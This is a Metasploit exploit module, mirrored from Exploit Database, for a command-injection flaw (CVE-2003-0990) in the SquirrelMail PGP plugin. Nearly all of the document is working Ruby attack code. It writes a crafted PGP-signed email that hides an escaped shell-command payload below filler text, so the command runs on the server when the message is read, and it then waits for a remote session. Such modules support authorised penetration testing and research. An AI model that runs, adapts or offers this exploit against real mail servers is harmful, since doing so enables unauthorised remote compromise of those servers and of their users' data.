SquirrelMail PGP Plugin – Command Execution (SMTP) (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-08-25
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16888/

• ##
  # $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking
  
  	#
  	# This module sends email messages via smtp
  	#
  	include Msf::Exploit::Remote::SMTPDeliver
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)',
  			'Description'=> %q{
  					This module exploits a command execution vulnerability in the
  				PGP plugin of SquirrelMail. This flaw was found while quickly
  				grepping the code after release of some information at
  				http://www.wslabi.com/. Later, iDefense published an advisory ....
  
  				Reading an email in SquirrelMail with the PGP plugin activated
  				is enough to compromise the underlying server.
  
  				Only "cmd/unix/generic" payloads were tested.
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10148 $',
  			'Author' => [ 'Nicob <nicob[at]nicob.net>' ],
  			'References' =>
  				[
  					['CVE', '2003-0990'],
  					['OSVDB', '3178'],
  					['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
  					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
  					['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
  				],
  			'Stance' => Msf::Exploit::Stance::Passive,
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> '',
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'SquirrelMail PGP plugin < 2.1', {} ],
  				],
  			'DisclosureDate' => 'Jul 9 2007',
  			'DefaultTarget' => 0))
  
  	end
  
  	def mime_defaults()
  		self.header.set("MIME-Version", "1.0")
  		self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
  		self.header.set("Subject", '') # placeholder
  		self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
  		self.header.set("Message-ID",
  			"<"+
  			Rex::Text.rand_text_alphanumeric(rand(20)+40)+
  			"@"+
  			Rex::Text.rand_text_alpha(rand(20)+3)+
  			">"
  			)
  		self.header.set("From", '')# placeholder
  		self.header.set("To", '')# placeholder
  	end
  
  	def exploit
  
  		body =
  			# Display some junk
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  			rand_text_alphanumeric(rand(128)+16) + "\n" +
  
  			# Scroll down
  			"\n" * (rand(100)+35) +
  
  			# Escape filter and insert payload
  			"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"
  
  		sig =
  			"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
  			rand_text_alphanumeric(rand(20)+54) + "\n" +
  			rand_text_alphanumeric(rand(20)+34) + "\n" +
  			"-----END PGP SIGNATURE-----\n"
  
  		msg = Rex::MIME::Message.new
  		msg.extend(MessageExtend)
  		msg.mime_defaults
  		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  		msg.to = datastore['MAILTO']
  		msg.from = datastore['MAILFROM']
  
  		msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
  		msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")
  
  		send_message(msg.to_s)
  
  		print_status("Waiting for a payload session (backgrounding)...")
  	end
  
  end